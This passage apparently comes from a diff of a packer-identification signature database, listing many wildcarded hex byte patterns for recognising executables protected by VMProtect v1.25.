= true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 8D 76 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 C6 01 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F7 55 00 66 8B 45 00 83 ED 02 66 21 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 8D 76 01 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 83 EE FF 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 83 C6 01 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 36 8B 00 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 8D 76 01 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 8D 76 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 00 83 ED 02 00 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 8B 55 00 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 EE FF 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 8B 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 8D 76 01 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 83 C6 01 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 46 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 8A 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 00 8A 4D 02 83 ED 02 D2 E0 66 89 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 8D 76 04 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 EE FC 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 36 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 83 C6 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 C6 04 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 00 8A 4D 02 83 ED 02 D2 E8 66 89 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 EE FC E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 C6 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 83 EE FC 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 58 5E 5D 5B 5B 9D 59 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 8D 76 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 46 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 EE FF 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 8D 76 01 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 83 C6 01 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 46 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 8B 55 00 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 8D 76 01 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 83 EE FF 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 8B 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 8A 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 8B 55 00 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 46 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 46 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 8A 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 83 EE FF E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 83 C6 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 8B 55 00 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 8B 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9 A5 06 00 00 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9 +ep_only = false + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 98 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 8B 55 00 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 8D 76 01 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 EE FF 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 83 C6 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 46 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 C6 01 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 46 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 46 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 46 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 C6 01 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 83 C6 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 83 EE FE 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 83 C6 02 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 C6 02 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 8D 76 02 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 83 EE FE E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 83 C6 02 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 83 EE FE 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 83 C6 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 C6 02 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 8D 76 02 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 EE FE 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 8D 76 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 EE FE 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 E0 3C 8B 55 00 83 C5 04 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 E0 3C 8B 14 07 83 ED 04 89 55 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5F 58 5A 9D 5D 5E 5E 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5E 5B 5F 5B 9D 58 5D 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 83 ED 02 66 01 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 8D 76 02 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 EE FE 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 C6 02 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 C6 02 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 66 89 45 00 83 C6 02 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 89 45 00 83 C6 02 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 83 EE FE 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 83 C6 02 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 8D 76 02 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 89 45 00 8D 76 02 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 89 45 00 83 EE FE E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 83 EE FE 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 83 C6 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 66 89 45 00 8D 76 02 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 8D 76 02 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 EE FE 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 8D 76 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 83 EE FF E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 83 C6 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 8A 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 8B 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 83 C6 01 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 8D 76 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 8D 76 01 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 EE FF 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 8D 76 01 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 98 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 8B 55 00 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 8B 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 8B 55 00 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 8D 76 01 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 83 EE FF 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 83 EE FF E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 98 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 8B 55 00 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 8B 55 00 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 8A 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 98 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 83 C6 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 C6 01 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 46 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 8D 76 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 8D 76 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 83 EE FF E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 EE FF 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C6 01 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 8D 76 01 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 8D 76 01 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 83 EE FF E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 46 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 EE FF 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 EE FF 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 C6 01 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 8D 76 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C6 01 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 83 C6 01 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 46 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 8D 76 01 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 